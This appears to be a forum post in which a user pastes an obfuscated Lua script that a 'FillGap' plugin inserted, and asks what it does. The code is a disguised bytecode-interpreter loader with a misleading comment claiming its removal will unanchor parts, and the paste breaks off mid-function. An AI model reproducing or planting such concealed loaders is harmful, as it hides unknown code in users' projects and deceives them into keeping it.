Weird script created when using FillGap Plugin

Hello.
I have recently noticed a very weird script that is created when using FillGap.

Does someone of you know what is this supposed to do?

--If you remove this, the gap the was filled will become unanchored. It uses a complex metatable aswell.

local FillGapliI1iIiil1l1II11iI1 = assert local FillGaplIlilI1l1iIl1i1III1Ii = select local FillGaplIlii1il11IiiI1iliI1i = tonumber local FillGapl1llIIIII1I1lIlllIi = unpack local FillGapIli1iIiiiI1iIliIllI = pcall local FillGapIli1I11IiilliIlIiIi = setfenv local FillGaplllI1iiilIIiliI1Ili = setmetatable local FillGaplliIIlllIIIi1llIiil = type local FillGaplII1il1IillilIlilii = getfenv local FillGapIllI1iiIII1iIlII1ll = tostring local FillGaplIlliIliiiI11lilIII1i = error local FillGaplIllI1IIIIi11lIili11i = string.sub local FillGaplIli1l1iiI1IIIlIIIlll = string.byte local FillGapi1illI1Ill1li1iii1I = string.char local FillGapI1l1iil1ll1Ii1iilI1 = string.rep local FillGaplIll1Ill11llIii1Il1ll = string.gsub local FillGapI1I1IlllllIIlIIIlll = string.match local FillGapIiiI11li11lIIiilIi1 = FillGaplIli1l1iiI1IIIlIIIlll("q", 1) local FillGapIIlIIiiIi1llliIlIIl, FillGapiiill1li1I1lliI1lII = #{6745}, #{ 1932, 4608, 2169, 2859, 2728, 6497, 2547, 1946, 497, 6433, 5888, 963, 720, 4160, 6960, 6854, 5694, 6457, 1127, 5068, 2559, 4017, 3732, 613 } + FillGapIiiI11li11lIIiilIi1 + 130934 local FillGapIIllIIli1l1ill1Iiil = {} local FillGapliili1lil1Iilill1II = 1 local function FillGaplIlilIlI11iiIllli1I1I(FillGapliliIi1iI11iIIlI11i, FillGapliIIiIii1III1IIiiII) local FillGapll1lI11liiIlIlIlI1I FillGapliliIi1iI11iIIlI11i = FillGaplIll1Ill11llIii1Il1ll(FillGaplIllI1IIIIi11lIili11i(FillGapliliIi1iI11iIIlI11i, 5), "..", function(FillGapl1li1iIi1IlIIIIl11I) if FillGaplIli1l1iiI1IIIlIIIlll(FillGapl1li1iIi1IlIIIIl11I, 2) == 72 then FillGapll1lI11liiIlIlIlI1I = FillGaplIlii1il11IiiI1iliI1i(FillGaplIllI1IIIIi11lIili11i(FillGapl1li1iIi1IlIIIIl11I, 1, 1)) return "" else local FillGapl11i1l111IiIi1l11l1 = FillGapi1illI1Ill1li1iii1I(FillGaplIlii1il11IiiI1iliI1i(FillGapl1li1iIi1IlIIIIl11I, 16)) if FillGapll1lI11liiIlIlIlI1I then local FillGaplI1lI1i1iil1llIi1ii = FillGapI1l1iil1ll1Ii1iilI1(FillGapl11i1l111IiIi1l11l1, FillGapll1lI11liiIlIlIlI1I) FillGapll1lI11liiIlIlIlI1I = nil return FillGaplI1lI1i1iil1llIi1ii else return FillGapl11i1l111IiIi1l11l1 end end end) local function FillGapliIIilIiilIi1I1ii1I() local FillGaplI1Iiilll11l1iiIl11 = FillGaplIli1l1iiI1IIIlIIIlll(FillGapliliIi1iI11iIIlI11i, FillGapliili1lil1Iilill1II, FillGapliili1lil1Iilill1II) FillGapliili1lil1Iilill1II = FillGapliili1lil1Iilill1II + 1 return FillGaplI1Iiilll11l1iiIl11 end local function FillGapIilliI1III1IliIlllI() local FillGaplI1Iiilll11l1iiIl11, FillGapl11i1l111IiIi1l11l1, FillGaplI1lI1i1iil1llIi1ii, FillGapllIiIi1IlilliIi11iI = FillGaplIli1l1iiI1IIIlIIIlll(FillGapliliIi1iI11iIIlI11i, FillGapliili1lil1Iilill1II, FillGapliili1lil1Iilill1II + 3) FillGapliili1lil1Iilill1II = FillGapliili1lil1Iilill1II + 4 return FillGapllIiIi1IlilliIi11iI * 16777216 + FillGaplI1lI1i1iil1llIi1ii * 65536 + FillGapl11i1l111IiIi1l11l1 * 256 + FillGaplI1Iiilll11l1iiIl11 end local function FillGaplIl1iIliiIiliIlI1II1I(FillGapilliIl1IIiliIi1I1ii, FillGaplIllIIllIi1iIi1iIllli, FillGapiiI1il1iiiIlI1iII1i) if FillGapiiI1il1iiiIlI1iII1i then local FillGapiiIiIlilllI1l1ilIil, FillGapllilllil11lIIII1l1i = 0, 0 for FillGaplIl1i1IliI1llIl1i1Ili = FillGaplIllIIllIi1iIi1iIllli, FillGapiiI1il1iiiIlI1iII1i do FillGapiiIiIlilllI1l1ilIil = FillGapiiIiIlilllI1l1ilIil + 2 ^ FillGapllilllil11lIIII1l1i * FillGaplIl1iIliiIiliIlI1II1I(FillGapilliIl1IIiliIi1I1ii, FillGaplIl1i1IliI1llIl1i1Ili) FillGapllilllil11lIIII1l1i = FillGapllilllil11lIIII1l1i + 1 end return FillGapiiIiIlilllI1l1ilIil else local FillGapIi11I11iIIllilI1llI = 2 ^ (FillGaplIllIIllIi1iIi1iIllli - 1) return FillGapIi11I11iIIllilI1llI <= FillGapilliIl1IIiliIi1I1ii % (FillGapIi11I11iIIllilI1llI + FillGapIi11I11iIIllilI1llI) and 1 or 0 end end local function FillGaplIliIIlll11I1I11I1IlI() local FillGaplI1Iiilll11l1iiIl11, FillGapl11i1l111IiIi1l11l1 = FillGapIilliI1III1IliIlllI(), FillGapIilliI1III1IliIlllI() if FillGaplI1Iiilll11l1iiIl11 == 0 and FillGapl11i1l111IiIi1l11l1 == 0 then return 0 end return (-2 * FillGaplIl1iIliiIiliIlI1II1I(FillGapl11i1l111IiIi1l11l1, 32) + 1) * 2 ^ (FillGaplIl1iIliiIiliIlI1II1I(FillGapl11i1l111IiIi1l11l1, 21, 31) - 1023) * ((FillGaplIl1iIliiIiliIlI1II1I(FillGapl11i1l111IiIi1l11l1, 1, 20) * 4294967296 + FillGaplI1Iiilll11l1iiIl11) / 4503599627370496 + 1) end local function FillGapl1il1II11liIlIlili1(FillGapli1lI1Il1I1iiIl1l1I) local FillGapii1Il11I1ll1iI11l1I = { FillGaplIli1l1iiI1IIIlIIIlll(FillGapliliIi1iI11iIIlI11i, FillGapliili1lil1Iilill1II, FillGapliili1lil1Iilill1II + 3) } FillGapliili1lil1Iilill1II = FillGapliili1lil1Iilill1II + 4 local FillGapIIlIII1il1liIIliili = { nil, nil, nil, nil, nil, nil, nil, nil } for FillGaplIl1i1IliI1llIl1i1Ili = 1, 8 do FillGapIIlIII1il1liIIliili[FillGaplIl1i1IliI1llIl1i1Ili] = FillGaplIl1iIliiIiliIlI1II1I(FillGapli1lI1Il1I1iiIl1l1I, FillGaplIl1i1IliI1llIl1i1Ili) end local FillGaplIli1l1i1lliIIi1i1ii1 = "" for FillGaplIl1i1IliI1llIl1i1Ili = 1, 4 do local FillGapiiIiIlilllI1l1ilIil, FillGapllilllil11lIIII1l1i = 0, 0 for FillGaplllII11Iil1I1lllIiI = 1, 8 do local FillGaplll1IiliiII11lIlIii = FillGaplIl1iIliiIiliIlI1II1I(FillGapii1Il11I1ll1iI11l1I[FillGaplIl1i1IliI1llIl1i1Ili], FillGaplllII11Iil1I1lllIiI) if FillGapIIlIII1il1liIIliili[FillGaplllII11Iil1I1lllIiI] == 1 then FillGaplll1IiliiII11lIlIii = FillGaplll1IiliiII11lIlIii == 1 and 0 or 1 end FillGapiiIiIlilllI1l1ilIil = FillGapiiIiIlilllI1l1ilIil + 2 ^ FillGapllilllil11lIIII1l1i * FillGaplll1IiliiII11lIlIii FillGapllilllil11lIIII1l1i = FillGapllilllil11lIIII1l1i + 1 end FillGaplIli1l1i1lliIIi1i1ii1 = FillGaplIli1l1i1lliIIi1i1ii1 .. FillGaplIli1l1i1lliIIi1i1ii1.char(FillGapiiIiIlilllI1l1ilIil) end local FillGaplI1Iiilll11l1iiIl11, FillGapl11i1l111IiIi1l11l1, FillGaplI1lI1i1iil1llIi1ii, FillGapllIiIi1IlilliIi11iI = FillGaplIli1l1iiI1IIIlIIIlll(FillGaplIli1l1i1lliIIi1i1ii1, 1, 4) return FillGapllIiIi1IlilliIi11iI * 16777216 + FillGaplI1lI1i1iil1llIi1ii * 65536 + FillGapl11i1l111IiIi1l11l1 * 256 + FillGaplI1Iiilll11l1iiIl11 end local function FillGapli1I11li1Il11liIIii(FillGapli1lI1Il1I1iiIl1l1I) local FillGaplIlll1II1111IIiIlIiIl = FillGapIilliI1III1IliIlllI() FillGapliili1lil1Iilill1II = FillGapliili1lil1Iilill1II + FillGaplIlll1II1111IIiIlIiIl local FillGapIIlIII1il1liIIliili = { nil, nil, nil, nil, nil, nil, nil, nil } for FillGaplIl1i1IliI1llIl1i1Ili = 1, 8 do FillGapIIlIII1il1liIIliili[FillGaplIl1i1IliI1llIl1i1Ili] = FillGaplIl1iIliiIiliIlI1II1I(FillGapli1lI1Il1I1iiIl1l1I, FillGaplIl1i1IliI1llIl1i1Ili) end local FillGaplIli1l1i1lliIIi1i1ii1 = "" for FillGaplIl1i1IliI1llIl1i1Ili = 1, FillGaplIlll1II1111IIiIlIiIl do local FillGapiiIiIlilllI1l1ilIil, FillGapllilllil11lIIII1l1i = 0, 0 for FillGaplllII11Iil1I1lllIiI = 1, 8 do local FillGaplll1IiliiII11lIlIii = FillGaplIl1iIliiIiliIlI1II1I(FillGaplIli1l1iiI1IIIlIIIlll(FillGapliliIi1iI11iIIlI11i, FillGapliili1lil1Iilill1II - FillGaplIlll1II1111IIiIlIiIl + FillGaplIl1i1IliI1llIl1i1Ili - 1), FillGaplllII11Iil1I1lllIiI) if FillGapIIlIII1il1liIIliili[FillGaplllII11Iil1I1lllIiI] == 1 then FillGaplll1IiliiII11lIlIii = FillGaplll1IiliiII11lIlIii == 1 and 0 or 1 end FillGapiiIiIlilllI1l1ilIil = FillGapiiIiIlilllI1l1ilIil + 2 ^ FillGapllilllil11lIIII1l1i * FillGaplll1IiliiII11lIlIii FillGapllilllil11lIIII1l1i = FillGapllilllil11lIIII1l1i + 1 end FillGaplIli1l1i1lliIIi1i1ii1 = FillGaplIli1l1i1lliIIi1i1ii1 .. FillGaplIli1l1i1lliIIi1i1ii1.char(FillGapiiIiIlilllI1l1ilIil) end return FillGaplIli1l1i1lliIIi1i1ii1 end local FillGapi1illilliilli1IlIIl = FillGapliIIilIiilIi1I1ii1I() local FillGapIII1I1Illli11i111lI = FillGapliIIilIiilIi1I1ii1I() local function FillGapllI1IiI1li1lI1llIii() local FillGapiIlIlII1llll1Illii1 = { [22301] = {}, [12739] = {}, [67303] = {}, [17371] = {} } FillGapiIlIlII1llll1Illii1[105203] = FillGapliIIilIiilIi1I1ii1I() FillGapIilliI1III1IliIlllI() local FillGapl1li1IiliilI1Il1Ill = FillGapIilliI1III1IliIlllI() for FillGaplIl1i1IliI1llIl1i1Ili = FillGapIIlIIiiIi1llliIlIIl, FillGapl1li1IiliilI1Il1Ill do FillGapiIlIlII1llll1Illii1[12739][FillGaplIl1i1IliI1llIl1i1Ili] = FillGapIilliI1III1IliIlllI() end local FillGapl1li1IiliilI1Il1Ill = FillGapIilliI1III1IliIlllI() - (#{ 2723, 2305, 518, 4089, 1193, 1723, 3035, 3151, 2922, 2182, 3804, 1262, 6081, 5709, 1438, 2843, 2081, 877, 1814, 923, 1702 } + FillGapIiiI11li11lIIiilIi1 + 133594) for FillGaplIl1i1IliI1llIl1i1Ili = FillGapIIlIIiiIi1llliIlIIl, FillGapl1li1IiliilI1Il1Ill do local FillGaplIl1liiI1illl1iI1lIiI = {} local FillGapllIi1iIIi11lil1i1l1 = FillGapl1il1II11liIlIlili1(FillGapIII1I1Illli11i111lI) FillGaplIl1liiI1illl1iI1lIiI[128101] = FillGaplIl1iIliiIiliIlI1II1I(FillGapllIi1iIIi11lil1i1l1, #{ 115, 1152, 5755, 2635, 313, 517, 2376, 697, 2416, 2819 }, #{ 4390, 6756, 1890, 3015, 1963, 3950, 2990, 1529, 6537, 5978, 6471, 3983, 3081, 2313, 5219, 6869, 3133, 4006 }) FillGaplIl1liiI1illl1iI1lIiI[114761] = FillGaplIl1iIliiIiliIlI1II1I(FillGapllIi1iIIi11lil1i1l1, #{5976}, #{ 3565, 6207, 4323, 4044, 136, 6672, 2728, 3036, 3691 }) FillGaplIl1liiI1illl1iI1lIiI[100283] = FillGaplIl1iIliiIiliIlI1II1I(FillGapllIi1iIIi11lil1i1l1, #{ 3438, 4805, 3162, 494, 2198, 692, 678, 2408, 1904, 4654, 662, 3822, 243, 6636, 2249, 3298, 3393, 1388, 6683, 3705, 6516, 641, 1280 } + FillGapIiiI11li11lIIiilIi1 + -109, #{ 2102, 1113, 4636, 5650, 1628, 4699, 4499, 1451, 1279, 6894, 3621, 3746, 5228, 4792, 442, 6493, 6185, 4087, 6854, 3403, 1663, 2450 } + FillGapIiiI11li11lIIiilIi1 + -103) FillGaplIl1liiI1illl1iI1lIiI[89664] = FillGaplIl1iIliiIiliIlI1II1I(FillGapllIi1iIIi11lil1i1l1, #{6796}, #{ 4471, 2040, 6842, 3883, 3961, 6249, 3829, 113, 6126, 4769, 4264, 6431, 1944, 5886, 1108, 3339, 4242, 2324 }) FillGaplIl1liiI1illl1iI1lIiI[89495] = FillGaplIl1iIliiIiliIlI1II1I(FillGapllIi1iIIi11lil1i1l1, #{ 6059, 1852, 6693, 4438, 1726, 1843, 3820, 244, 6952, 4978, 5843, 3047, 3189, 4040, 1893, 4893, 3626, 2678, 165 }, #{ 6712, 1610, 6808, 4628, 2167, 3383, 3904, 1101, 3053, 6578, 2831, 3059, 4640, 6586, 3465, 5002, 3058, 5633, 1456, 1524, 4775, 3154 } + FillGapIiiI11li11lIIiilIi1 + -109) FillGapiIlIlII1llll1Illii1[22301][FillGaplIl1i1IliI1llIl1i1Ili] = FillGaplIl1liiI1illl1iI1lIiI end local FillGapl1li1IiliilI1Il1Ill = FillGapIilliI1III1IliIlllI() - (#{ 1515, 5334, 4171, 6161, 3881, 4360, 3983, 3036, 5715, 5435, 1262, 4744, 4783, 1205, 5459, 2114, 2080, 5442, 6340, 3310, 2370, 5371, 6937 } + FillGapIiiI11li11lIIiilIi1 + 133637) for FillGaplIl1i1IliI1llIl1i1Ili = FillGapIIlIIiiIi1llliIlIIl, FillGapl1li1IiliilI1Il1Ill do local FillGapIllI11lllIliil1iIl1 = {} local FillGaplliIIlllIIIi1llIiil = FillGapliIIilIiilIi1I1ii1I() if FillGaplliIIlllIIIi1llIiil == #{ 4722, 1923, 1485, 6257, 2119, 6561, 2990, 1223, 4428, 4006, 3921, 3608, 3897, 4161, 6186, 234, 3682, 3351, 5355, 5956, 887, 3239 } + FillGapIiiI11li11lIIiilIi1 + 24 then FillGapIllI11lllIliil1iIl1[65023] = FillGaplIliIIlll11I1I11I1IlI() end if FillGaplliIIlllIIIi1llIiil == #{ 1833, 5513, 1261, 237, 5023 } then FillGapIllI11lllIliil1iIl1[65023] = #{ 436, 2452, 1250, 6746, 470, 4915, 4537, 5685, 2578, 6088, 3077, 4957, 3794, 6654, 13, 5159, 1448, 6564, 2582, 193, 1492, 2628, 724 } + FillGapIiiI11li11lIIiilIi1 + 66697 == #{ 4245, 597, 1720, 6309, 3198, 3179, 5643, 4692, 5095, 2942, 1674, 1506, 852, 6155, 2007, 3058, 3207, 6026, 821, 1923, 3316 } + FillGapIiiI11li11lIIiilIi1 + 107383 end if FillGaplliIIlllIIIi1llIiil == #{ 6401, 2246, 2263, 4247, 5159, 3307, 4120, 2472, 3786, 3888, 1141, 6895, 3145, 2170, 4251, 4875, 6951, 3144, 704, 3541, 5146 } + FillGapIiiI11li11lIIiilIi1 + 73 then FillGapIllI11lllIliil1iIl1[65023] = FillGaplIliIIlll11I1I11I1IlI() end if FillGaplliIIlllIIIi1llIiil == #{ 471, 6476, 2641, 1485, 6, 5526, 3829, 3582, 5382, 6735, 5457, 2028, 191, 1402, 181, 2453, 963, 962, 5241, 501, 5329, 2369, 4101 } + FillGapIiiI11li11lIIiilIi1 + 54 then FillGapIllI11lllIliil1iIl1[65023] = #{ 112, 6813, 6834, 3818, 2523, 5313, 1332, 3109, 4850, 3847, 878, 3835, 1826, 1695, 4404, 5570, 2797, 6576, 5844, 6692, 1478, 2602, 2144 } + FillGapIiiI11li11lIIiilIi1 + 19512 == #{ 112, 6813, 6834, 3818, 2523, 5313, 1332, 3109, 4850, 3847, 878, 3835, 1826, 1695, 4404, 5570, 2797, 6576, 5844, 6692, 1478, 2602, 2144 } + FillGapIiiI11li11lIIiilIi1 + 19512 end if FillGaplliIIlllIIIi1llIiil == #{ 126, 1030, 5861, 5747, 77, 334, 3466, 5456, 4364, 3813, 4401, 4309, 4491, 55, 5740, 1381, 2355, 2718, 172, 3532, 5531, 5980 } + FillGapIiiI11li11lIIiilIi1 + 95 then FillGapIllI11lllIliil1iIl1[65023] = FillGaplIliIIlll11I1I11I1IlI() end if FillGaplliIIlllIIIi1llIiil == #{ 3559, 6912, 3428, 4985, 2836, 4990, 6331, 3691, 6643, 963, 3796, 1073, 2091, 5117, 2297, 5641, 3074, 6838, 4969, 6340, 4392 } + FillGapIiiI11li11lIIiilIi1 + -54 then FillGapIllI11lllIliil1iIl1[65023] = FillGapliIIilIiilIi1I1ii1I() end if FillGaplliIIlllIIIi1llIiil == #{ 1878, 37, 1190, 4819, 2106, 6467, 303, 4250, 5759, 2219, 1864, 4977, 515, 4582, 4867, 3851, 4068, 4336, 4891, 3526, 297, 2890, 1422 } + FillGapIiiI11li11lIIiilIi1 + 1 then FillGapIllI11lllIliil1iIl1[65023] = FillGapli1I11li1Il11liIIii(FillGapi1illilliilli1IlIIl) end if FillGaplliIIlllIIIi1llIiil == #{ 6506, 2731, 4407, 3327, 4320, 3237, 4787, 235, 4062, 1125, 6925, 5165, 1703, 6797, 6324, 2369, 3606, 5209, 5329, 4935 } + FillGapIiiI11li11lIIiilIi1 + -3 then FillGapIllI11lllIliil1iIl1[65023] = FillGapli1I11li1Il11liIIii(#{ 5807, 2561, 4203, 4862, 5386, 2765, 5435, 1840, 2926, 1085, 5947, 5883, 3470, 2905, 2619, 3944, 2708, 6189, 1467, 3328, 4216, 986 } + FillGapIiiI11li11lIIiilIi1 + -15) end if FillGaplliIIlllIIIi1llIiil == #{ 4805, 2593, 3592, 2021, 2509, 3900, 6029, 6012, 4891, 571, 3678, 1890, 1039, 3720, 4052, 5980, 4122, 2293, 5313, 6911, 2908, 5656, 3587, 1471 } + FillGapIiiI11li11lIIiilIi1 + -108 then FillGapIllI11lllIliil1iIl1[65023] = FillGapli1I11li1Il11liIIii(FillGapi1illilliilli1IlIIl) end FillGapiIlIlII1llll1Illii1[67303][FillGaplIl1i1IliI1llIl1i1Ili - FillGapIIlIIiiIi1llliIlIIl] = FillGapIllI11lllIliil1iIl1 end FillGapiIlIlII1llll1Illii1[125567] = FillGapliIIilIiilIi1I1ii1I() FillGapliIIilIiilIi1I1ii1I() local FillGapl1li1IiliilI1Il1Ill = FillGapIilliI1III1IliIlllI() for FillGaplIl1i1IliI1llIl1i1Ili = FillGapIIlIIiiIi1llliIlIIl, FillGapl1li1IiliilI1Il1Ill do FillGapiIlIlII1llll1Illii1[17371][FillGaplIl1i1IliI1llIl1i1Ili - FillGapIIlIIiiIi1llliIlIIl] = FillGapllI1IiI1li1lI1llIii() end FillGapiIlIlII1llll1Illii1[45248] = FillGapliIIilIiilIi1I1ii1I() return FillGapiIlIlII1llll1Illii1 end local function FillGapiiIIi1IIIli11ll1iII(FillGapiIlIlII1llll1Illii1, FillGapliIIiIii1III1IIiiII, FillGapl111iiIIIliliI11lii) local FillGaplIli1Iiii11iiIllIiili, FillGapili1I1II1iIIlIillii = -1, -1 local FillGapliiI1iiI1lIi1I1Illl = FillGapiIlIlII1llll1Illii1[22301] local FillGapI1ilIiIliIl1II1llll = FillGaplllI1iiilIIiliI1Ili({}, { __index = function(FillGaplIll1li1ili11iIIill, FillGaplllIlllIlllllillliI) local FillGaplIli1l1i1lliIIi1i1ii1 = FillGapiIlIlII1llll1Illii1[67303][FillGaplllIlllIlllllillliI] if FillGaplIllI1IIIIi11lIili11i(FillGaplliIIlllIIIi1llIiil(FillGaplIli1l1i1lliIIi1i1ii1[65023]), 1, 1) == "s" then return { [65023] = FillGaplIllI1IIIIi11lIili11i(FillGaplIli1l1i1lliIIi1i1ii1[65023], 4) } end return FillGaplIli1l1i1lliIIi1i1ii1 end }) local FillGapiIiiIii1IiI1Il1IIII = 125567 local FillGapIiil1Il1il1IliIiI1i = FillGapiIlIlII1llll1Illii1[17371] local FillGaplII1I1iiIliiIiI1Iii = 65023 local FillGapi1IIli1l1Iil1l11Iii = FillGapiIlIlII1llll1Illii1[45248] local FillGapliIIliIl1iIIi1I1i1I = 100283 local FillGapIIilIi1ililli111liI = FillGapiIlIlII1llll1Illii1[12739] local FillGapl11II1Iil111lIIl1Il = 114761 local function FillGapl1I1i1i1IlIlIlli1l1(...) local FillGapllliIllillI11I1ii11 = 0 local FillGapIiII1IIll1iI1i1llli = { FillGapl1llIIIII1I1lIlllIi({}, 1, FillGapiIlIlII1llll1Illii1[105203]) } local FillGaplIl111I1iiIl1i1l1ii1l = 1 local FillGapli11iIiiiillIIliIII = {} local FillGaplIlii11iIl1lIII1i1lli = {} local FillGapilii1iIII1ilIi111lI = 1 local FillGapliIIiIii1III1IIiiII = FillGaplII1il1IillilIlilii() local FillGaplIli1Iil1lIiIIiI1I111 = { ... } local FillGapI1I1iIilIIIl1i1lli1 = #FillGaplIli1Iil1lIiIIiI1I111 - 1 for FillGaplIl1i1IliI1llIl1i1Ili = 0, FillGapI1I1iIilIIIl1i1lli1 do if FillGaplIl1i1IliI1llIl1i1Ili < FillGapi1IIli1l1Iil1l11Iii then FillGapIiII1IIll1iI1i1llli[FillGaplIl1i1IliI1llIl1i1Ili] = FillGaplIli1Iil1lIiIIiI1I111[FillGaplIl1i1IliI1llIl1i1Ili + 1] end end local function FillGaplli1l1i11iiiIIlI1il(...) local FillGaplI1lI1i1iil1llIi1ii = FillGaplIlilI1l1iIl1i1III1Ii("#", ...) local FillGaplIll1li1ili11iIIill = { ... } return FillGaplI1lI1i1iil1llIi1ii, FillGaplIll1li1ili11iIIill end local function FillGapiIIIl1lIli1IIIIliii() while true do local FillGapIIlIi1i11i1lI11l1II = FillGapliiI1iiI1lIi1I1Illl[FillGaplIl111I1iiIl1i1l1ii1l] local FillGapi1IllilIIili1i11lli = FillGapIIlIi1i11i1lI11l1II[100283] FillGaplIl111I1iiIl1i1l1ii1l = FillGaplIl111I1iiIl1i1l1ii1l + 1 local FillGaplIliIIl1Ill11l1i11l = FillGapIIlIi1i11i1lI11l1II[114761] local FillGapi1111Ii1l1IlllI1I1l = FillGapIIlIi1i11i1lI11l1II[89664] - FillGapiiill1li1I1lliI1lII local FillGaplIl1iIiillI1II11Ili = FillGapIIlIi1i11i1lI11l1II[89495] local FillGapll1I1i1iI11i1ili1il = FillGapIIlIi1i11i1lI11l1II[128101] local FillGapIlIIIl1iil1lII1i11I = FillGapIIlIi1i11i1lI11l1II[89664] if FillGapi1IllilIIili1i11lli >= 9 then if FillGapi1IllilIIili1i11lli < 13 then if FillGapi1IllilIIili1i11lli < 11 then if FillGapi1IllilIIili1i11lli == 10 then local FillGapiil11ill1II1iililil, FillGaplIli1iIIIllli1IIi1lll, FillGapiIIIl1lIli1IIIIliii if FillGaplIliIIl1Ill11l1i11l ~= 1 then if FillGaplIliIIl1Ill11l1i11l ~= 0 then FillGaplIli1iIIIllli1IIi1lll = FillGaplIl1iIiillI1II11Ili + FillGaplIliIIl1Ill11l1i11l - 1 else FillGaplIli1iIIIllli1IIi1lll = FillGapllliIllillI11I1ii11 end FillGaplIli1iIIIllli1IIi1lll, FillGapiil11ill1II1iililil = FillGaplli1l1i11iiiIIlI1il(FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili](FillGapl1llIIIII1I1lIlllIi(FillGapIiII1IIll1iI1i1llli, FillGaplIl1iIiillI1II11Ili + 1, FillGaplIli1iIIIllli1IIi1lll))) else FillGaplIli1iIIIllli1IIi1lll, FillGapiil11ill1II1iililil = FillGaplli1l1i11iiiIIlI1il(FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili]()) end if FillGapll1I1i1iI11i1ili1il ~= 1 then if FillGapll1I1i1iI11i1ili1il ~= 0 then FillGaplIli1iIIIllli1IIi1lll = FillGaplIl1iIiillI1II11Ili + FillGapll1I1i1iI11i1ili1il - 2 else FillGaplIli1iIIIllli1IIi1lll = FillGaplIli1iIIIllli1IIi1lll + FillGaplIl1iIiillI1II11Ili end FillGapiIIIl1lIli1IIIIliii = 0 for FillGaplIl1i1IliI1llIl1i1Ili = FillGaplIl1iIiillI1II11Ili, FillGaplIli1iIIIllli1IIi1lll do FillGapiIIIl1lIli1IIIIliii = FillGapiIIIl1lIli1IIIIliii + 1 FillGapIiII1IIll1iI1i1llli[FillGaplIl1i1IliI1llIl1i1Ili] = FillGapiil11ill1II1iililil[FillGapiIIIl1lIli1IIIIliii] end end FillGapllliIllillI11I1ii11 = FillGaplIli1iIIIllli1IIi1lll - 1 else FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili] = FillGapI1ilIiIliIl1II1llll[FillGapIlIIIl1iil1lII1i11I][FillGaplII1I1iiIliiIiI1Iii] end elseif FillGapi1IllilIIili1i11lli ~= 12 then FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili] = FillGapliIIiIii1III1IIiiII[FillGapI1ilIiIliIl1II1llll[FillGapIlIIIl1iil1lII1i11I][FillGaplII1I1iiIliiIiI1Iii]] else FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili] = FillGaplIliIIl1Ill11l1i11l ~= 0 if FillGapll1I1i1iI11i1ili1il ~= 0 then FillGaplIl111I1iiIl1i1l1ii1l = FillGaplIl111I1iiIl1i1l1ii1l + 1 end end elseif FillGapi1IllilIIili1i11lli >= 15 then if FillGapi1IllilIIili1i11lli < 16 then local FillGapiliiliiIIiIiil111i1 = FillGapIiil1Il1il1IliIiI1i[FillGapIlIIIl1iil1lII1i11I] local FillGapli1iIIIIIIiiI1iIiII = {} if FillGapiliiliiIIiIiil111i1[FillGapiIiiIii1IiI1Il1IIII] > 0 then do local FillGapIliiII1ii11IiIi11II = {} FillGapli1iIIIIIIiiI1iIiII = FillGaplllI1iiilIIiliI1Ili({}, { __index = function(FillGaplIll1li1ili11iIIill, FillGaplllIlllIlllllillliI) local FillGapII1iIl11l1IiI11ili1 = FillGapIliiII1ii11IiIi11II[FillGaplllIlllIlllllillliI] return FillGapII1iIl11l1IiI11ili1[1][FillGapII1iIl11l1IiI11ili1[2]] end, __newindex = function(FillGaplIll1li1ili11iIIill, FillGaplllIlllIlllllillliI, FillGapill11liIl1l11liIIli) local FillGapII1iIl11l1IiI11ili1 = FillGapIliiII1ii11IiIi11II[FillGaplllIlllIlllllillliI] FillGapII1iIl11l1IiI11ili1[1][FillGapII1iIl11l1IiI11ili1[2]] = FillGapill11liIl1l11liIIli end }) for FillGaplIl1i1IliI1llIl1i1Ili = 1, FillGapiliiliiIIiIiil111i1[FillGapiIiiIii1IiI1Il1IIII] do local FillGaplIllllilllilIlilIiI1i = FillGapliiI1iiI1lIi1I1Illl[FillGaplIl111I1iiIl1i1l1ii1l] if FillGaplIllllilllilIlilIiI1i[FillGapliIIliIl1iIIi1I1i1I] == FillGaplIli1Iiii11iiIllIiili then FillGapIliiII1ii11IiIi11II[FillGaplIl1i1IliI1llIl1i1Ili - 1] = { FillGapIiII1IIll1iI1i1llli, FillGaplIllllilllilIlilIiI1i[FillGapl11II1Iil111lIIl1Il] } elseif FillGaplIllllilllilIlilIiI1i[FillGapliIIliIl1iIIi1I1i1I] == FillGapili1I1II1iIIlIillii then FillGapIliiII1ii11IiIi11II[FillGaplIl1i1IliI1llIl1i1Ili - 1] = { FillGapl111iiIIIliliI11lii, FillGaplIllllilllilIlilIiI1i[FillGapl11II1Iil111lIIl1Il] } end FillGaplIl111I1iiIl1i1l1ii1l = FillGaplIl111I1iiIl1i1l1ii1l + 1 end FillGapli11iIiiiillIIliIII[#FillGapli11iIiiiillIIliIII + 1] = FillGapIliiII1ii11IiIi11II end end local FillGaplIll11iIIlli11III11il = FillGapiiIIi1IIIli11ll1iII(FillGapiliiliiIIiIiil111i1, FillGapliIIiIii1III1IIiiII, FillGapli1iIIIIIIiiI1iIiII) FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili] = FillGaplIll11iIIlli11III11il elseif FillGapi1IllilIIili1i11lli == 17 then if FillGaplIliIIl1Ill11l1i11l == 21 then FillGaplIl111I1iiIl1i1l1ii1l = FillGaplIl111I1iiIl1i1l1ii1l - 1 FillGapliiI1iiI1lIi1I1Illl[FillGaplIl111I1iiIl1i1l1ii1l] = { [100283] = 5, [89495] = (FillGaplIl1iIiillI1II11Ili - 64) % 256, [114761] = (FillGapll1I1i1iI11i1ili1il - 64) % 256, [89664] = 0 } elseif not not FillGapIiII1IIll1iI1i1llli[FillGaplIl1iIiillI1II11Ili] == (FillGapll1I1i1iI11i1ili1il == 0) then FillGaplIl111I1iiIl1i1l1ii1l = FillGaplIl111I1iiIl1i1l1ii1l + 1 end else if FillGaplIliIIl1Ill11l1i11l > 255 then FillGaplIliIIl1Ill11l1i11l = FillGapI1ilIiIliIl1II1llll[FillGaplIliIIl1Ill11l1i11l - 256][FillGaplII1I1iiIliiIiI1Iii] else FillGaplIliIIl1Ill11l1i11l = FillGapIiII1IIll1iI1i1llli[FillGaplIliIIl1Ill11l1i11l] end if FillGapll1I1i1iI11i1ili1il > 255 then FillGapll1I1i1iI11i1ili1il = FillGapI1ilIiIliIl1II1llll[FillGapll1I1i1iI11i1ili1il - 256][FillGaplII1I1iiIliiIiI1Iii] else FillGapll1I1i1iI11i1ili1il = FillGapIiII1IIll1iI1i1llli[FillGapll1I1i1iI11i1ili1il] end 